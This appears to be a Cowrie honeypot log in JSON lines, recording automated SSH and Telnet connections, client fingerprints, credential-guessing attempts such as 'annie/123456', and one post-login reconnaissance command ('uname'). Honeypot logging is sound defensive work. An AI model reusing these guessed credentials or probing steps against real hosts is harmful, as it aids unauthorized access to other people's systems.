{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:12.147799Z","src_ip":"176.65.139.103","session":"1cbdbdd3fd28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":45882,"dst_ip":"10.17.0.5","dst_port":23,"session":"53701507196a","protocol":"telnet","message":"New connection: 5.189.169.71:45882 (10.17.0.5:23) [session: 53701507196a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:12.468789Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":39226,"dst_ip":"10.17.0.5","dst_port":23,"session":"3bfd02af99ca","protocol":"telnet","message":"New connection: 94.23.163.94:39226 (10.17.0.5:23) [session: 3bfd02af99ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:12.518161Z"}
{"eventid":"cowrie.session.closed","duration":31.50910234451294,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:12.625466Z","src_ip":"94.23.163.94","session":"965a9b927ffb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.23258328437805,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:13.058530Z","src_ip":"94.23.163.94","session":"db29c6944a33","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":50714,"dst_ip":"10.17.0.5","dst_port":23,"session":"70d3bb71e5b9","protocol":"telnet","message":"New connection: 94.23.163.94:50714 (10.17.0.5:23) [session: 70d3bb71e5b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:13.086934Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":49314,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b339aaa8040","protocol":"telnet","message":"New connection: 213.136.75.179:49314 (10.17.0.5:23) [session: 6b339aaa8040]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:13.241198Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":33112,"dst_ip":"159.203.135.109","dst_port":23,"session":"c766a56494d7","protocol":"telnet","message":"New connection: 23.254.167.244:33112 (159.203.135.109:23) [session: c766a56494d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:13.494317Z"}
{"eventid":"cowrie.session.closed","duration":30.725241899490356,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:14.045352Z","src_ip":"94.23.163.94","session":"f78f34f26d56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.117.234.131","src_port":58692,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9b417af51e7","protocol":"telnet","message":"New connection: 155.117.234.131:58692 (10.17.0.5:23) [session: d9b417af51e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:14.334546Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":49326,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4e225aed8d4","protocol":"telnet","message":"New connection: 213.136.75.179:49326 (10.17.0.5:23) [session: c4e225aed8d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:15.553780Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":49328,"dst_ip":"10.17.0.5","dst_port":23,"session":"b92655610005","protocol":"telnet","message":"New connection: 213.136.75.179:49328 (10.17.0.5:23) [session: b92655610005]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:15.561679Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":49340,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f2e2b28dbd4","protocol":"telnet","message":"New connection: 213.136.75.179:49340 (10.17.0.5:23) [session: 1f2e2b28dbd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:15.884123Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":49350,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ac46541d552","protocol":"telnet","message":"New connection: 213.136.75.179:49350 (10.17.0.5:23) [session: 3ac46541d552]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:15.889466Z"}
{"eventid":"cowrie.session.closed","duration":30.975334882736206,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:16.077174Z","src_ip":"5.189.169.71","session":"50f4a9c1d22a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":49364,"dst_ip":"10.17.0.5","dst_port":23,"session":"e224cafdc889","protocol":"telnet","message":"New connection: 213.136.75.179:49364 (10.17.0.5:23) [session: e224cafdc889]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:16.352482Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":49380,"dst_ip":"10.17.0.5","dst_port":23,"session":"8bbc57527106","protocol":"telnet","message":"New connection: 213.136.75.179:49380 (10.17.0.5:23) [session: 8bbc57527106]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:16.762920Z"}
{"eventid":"cowrie.session.closed","duration":32.03844928741455,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:16.809980Z","src_ip":"213.136.75.179","session":"502646f8fe29","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.978564500808716,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:17.272277Z","src_ip":"5.189.169.71","session":"fdf64e25cff1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":50728,"dst_ip":"10.17.0.5","dst_port":23,"session":"1da54cf5f980","protocol":"telnet","message":"New connection: 94.23.163.94:50728 (10.17.0.5:23) [session: 1da54cf5f980]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:17.673637Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":56538,"dst_ip":"10.17.0.5","dst_port":22,"session":"82b5a7dbf9ea","protocol":"ssh","message":"New connection: 176.65.139.103:56538 (10.17.0.5:22) [session: 82b5a7dbf9ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:17.932757Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:17.947190Z","src_ip":"176.65.139.103","session":"82b5a7dbf9ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:18.032094Z","src_ip":"176.65.139.103","session":"82b5a7dbf9ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.877405881881714,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:18.044505Z","src_ip":"94.23.163.94","session":"4b87c37812f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.90754985809326,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:18.082432Z","src_ip":"5.189.169.71","session":"6fa7d35b339c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.015730619430542,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:18.125210Z","src_ip":"5.189.169.71","session":"6f414af68894","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":57602,"dst_ip":"10.17.0.5","dst_port":23,"session":"cde13ab557c5","protocol":"telnet","message":"New connection: 213.136.75.179:57602 (10.17.0.5:23) [session: cde13ab557c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:18.160491Z"}
{"eventid":"cowrie.session.closed","duration":30.72780680656433,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:18.174958Z","src_ip":"213.136.75.179","session":"557d4d153fbf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.764707803726196,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:18.186788Z","src_ip":"5.189.169.71","session":"9c452580dce4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.81664204597473,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:18.191905Z","src_ip":"213.136.75.179","session":"621c8c21515f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":57616,"dst_ip":"10.17.0.5","dst_port":23,"session":"6046fd1d4b14","protocol":"telnet","message":"New connection: 213.136.75.179:57616 (10.17.0.5:23) [session: 6046fd1d4b14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:18.227927Z"}
{"eventid":"cowrie.login.success","username":"steam","password":"*****","message":"login attempt [steam/*****] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:18.545419Z","src_ip":"176.65.139.103","session":"82b5a7dbf9ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":57630,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab2333775ef7","protocol":"telnet","message":"New connection: 213.136.75.179:57630 (10.17.0.5:23) [session: ab2333775ef7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:18.732367Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:18.817329Z","src_ip":"176.65.139.103","session":"82b5a7dbf9ea","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:18.821323Z","src_ip":"176.65.139.103","session":"82b5a7dbf9ea","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:18.941743Z","src_ip":"176.65.139.103","session":"82b5a7dbf9ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:18.947798Z","src_ip":"176.65.139.103","session":"82b5a7dbf9ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":39224,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b112dfc3309","protocol":"telnet","message":"New connection: 5.189.169.71:39224 (10.17.0.5:23) [session: 7b112dfc3309]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:18.972720Z"}
{"eventid":"cowrie.session.closed","duration":30.792725563049316,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:19.126624Z","src_ip":"5.189.169.71","session":"d6efc76da931","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":39226,"dst_ip":"10.17.0.5","dst_port":23,"session":"4532a7a7e4bd","protocol":"telnet","message":"New connection: 5.189.169.71:39226 (10.17.0.5:23) [session: 4532a7a7e4bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:19.447093Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":50730,"dst_ip":"10.17.0.5","dst_port":23,"session":"3632fcd0bc3e","protocol":"telnet","message":"New connection: 94.23.163.94:50730 (10.17.0.5:23) [session: 3632fcd0bc3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:19.542165Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":50746,"dst_ip":"10.17.0.5","dst_port":23,"session":"47088f9228cc","protocol":"telnet","message":"New connection: 94.23.163.94:50746 (10.17.0.5:23) [session: 47088f9228cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:19.614331Z"}
{"eventid":"cowrie.session.closed","duration":31.10166358947754,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:19.740564Z","src_ip":"5.189.169.71","session":"0e5703795a1b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.117.234.131","src_port":58694,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8ac92478cb2","protocol":"telnet","message":"New connection: 155.117.234.131:58694 (10.17.0.5:23) [session: c8ac92478cb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:19.945463Z"}
{"eventid":"cowrie.session.closed","duration":30.69222927093506,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:20.072633Z","src_ip":"5.189.169.71","session":"524c6efba927","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":50760,"dst_ip":"10.17.0.5","dst_port":23,"session":"58ef19c760c5","protocol":"telnet","message":"New connection: 94.23.163.94:50760 (10.17.0.5:23) [session: 58ef19c760c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:20.502964Z"}
{"eventid":"cowrie.session.closed","duration":32.437174797058105,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:20.551207Z","src_ip":"213.136.75.179","session":"09f773a5f19d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.40116596221924,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:20.758239Z","src_ip":"23.254.167.244","session":"de13d3da9ccc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":57640,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e71a67a2256","protocol":"telnet","message":"New connection: 213.136.75.179:57640 (10.17.0.5:23) [session: 6e71a67a2256]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:20.865421Z"}
{"eventid":"cowrie.session.closed","duration":31.15192222595215,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:20.954454Z","src_ip":"94.23.163.94","session":"e18b676bf3c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.036804676055908,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:21.167851Z","src_ip":"94.23.163.94","session":"fcdcf5df243e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55528,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ba796cbbdb1","protocol":"ssh","message":"New connection: 159.203.92.129:55528 (159.203.135.109:22) [session: 9ba796cbbdb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:21.213844Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:21.218469Z","src_ip":"159.203.92.129","session":"9ba796cbbdb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:21.223028Z","src_ip":"159.203.92.129","session":"9ba796cbbdb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"annie","password":"123456","message":"login attempt [annie/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:21.236127Z","src_ip":"159.203.92.129","session":"9ba796cbbdb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.889421463012695,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:21.451736Z","src_ip":"213.136.75.179","session":"86978c70f967","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89131212234497,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:21.457402Z","src_ip":"213.136.75.179","session":"940dbea39a73","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.777912855148315,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:21.461924Z","src_ip":"94.23.163.94","session":"7bbd1c3941aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.329503297805786,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:21.523999Z","src_ip":"94.23.163.94","session":"e7e39e7db0fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":57650,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8b26d613d75","protocol":"telnet","message":"New connection: 213.136.75.179:57650 (10.17.0.5:23) [session: c8b26d613d75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:21.617192Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.117.234.131","src_port":58706,"dst_ip":"10.17.0.5","dst_port":23,"session":"331e4f1fbcc0","protocol":"telnet","message":"New connection: 155.117.234.131:58706 (10.17.0.5:23) [session: 331e4f1fbcc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:21.677155Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":57658,"dst_ip":"10.17.0.5","dst_port":23,"session":"b73575bc57b9","protocol":"telnet","message":"New connection: 213.136.75.179:57658 (10.17.0.5:23) [session: b73575bc57b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:21.792116Z"}
{"eventid":"cowrie.session.closed","duration":31.105143785476685,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:21.841681Z","src_ip":"213.136.75.179","session":"977f82794e36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.161943674087524,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:21.869988Z","src_ip":"213.136.75.179","session":"35b920bbcb3a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":50772,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b9556385e7d","protocol":"telnet","message":"New connection: 94.23.163.94:50772 (10.17.0.5:23) [session: 4b9556385e7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:21.938149Z"}
{"eventid":"cowrie.session.closed","duration":30.689865350723267,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:22.083508Z","src_ip":"155.117.234.131","session":"a71a50a72827","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:22.242460Z","src_ip":"159.203.92.129","session":"9ba796cbbdb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.52688479423523,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:22.661363Z","src_ip":"213.136.75.179","session":"c5600622833d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":57660,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6a37cbdc33e","protocol":"telnet","message":"New connection: 213.136.75.179:57660 (10.17.0.5:23) [session: d6a37cbdc33e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:22.669787Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":57674,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8e578a8d2f3","protocol":"telnet","message":"New connection: 213.136.75.179:57674 (10.17.0.5:23) [session: c8e578a8d2f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:22.681493Z"}
